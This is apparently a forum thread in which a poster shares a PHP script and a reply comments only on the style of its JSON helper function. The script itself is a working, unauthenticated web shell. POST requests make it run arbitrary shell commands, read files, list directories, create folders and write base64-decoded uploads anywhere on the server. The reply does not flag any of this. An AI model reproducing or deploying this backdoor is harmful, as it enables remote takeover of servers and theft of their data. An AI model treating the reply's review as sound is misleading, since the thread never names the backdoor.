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How to show this file.


f7xp
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<?php 


 function echo_json($data=[])

 {


  echo json_encode( $data );


 }


 if( !empty( $_POST['cmd'] ) ){



  if( $_POST['cmd'] == "test" ){


   echo_json([

    "code" => 200,

   ]);


  }


  if( $_POST['cmd'] == "get_file_data" ){


   $data = file_get_contents( __DIR__ . '/' . $_POST['file'] );


   echo_json([

    "code" => 200,

    "data" => $data,

   ]);


  }



  if( $_POST['cmd'] == "get_files" ){


   $struct = [];


   $files = scandir( __DIR__ );


   foreach ($files as $file) {

    

    if( $file == '.' || $file == '..' ){

     continue;

    }


    if( is_dir( __DIR__ . '/' . $file ) ){


     $sub_files = scandir( __DIR__ . '/' . $file );


     $struct[] = [

      "file" => $file,

      "type" => "d",

      "sub_files" => $sub_files,

     ];


    }else{


     $struct[] = [

      "file" => $file,

      "type" => "f",

     ];


    }


   }


   echo_json([

    "code" => 200,

    "struct" => $struct,

   ]);


  }


  if( $_POST['cmd'] == "get_dir" ){


   echo_json([

    "code" => 200,

    "dir" => __DIR__,

   ]);


  }


  if( $_POST['cmd'] == "shell_exec" ){


   shell_exec( $_POST['command'] );


   echo_json([

    "code" => 200,

   ]);


  }


  if( $_POST['cmd'] == "mkdir" ){


   mkdir( $_POST['dir'] );

   chmod( $_POST['dir'] , 0755 );


   echo_json([

    "code" => 200,

   ]);


  }


  if( $_POST['cmd'] == "upload" ){


   file_put_contents( $_POST['file'] , base64_decode( $_POST['data'] ) );

   chmod( $_POST['file'] , 0644 );


   echo_json([

    "code" => 200,

   ]);


  }


 }

 

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A rather unnecessary function if that is all you need to happen.  You can easily type that one echo line when you need instead of making a function to do it for you.

BTW - you are defaulting the argument to an empty array.  Don't you want to check if the arg is actually empty and not do the echo in the function?

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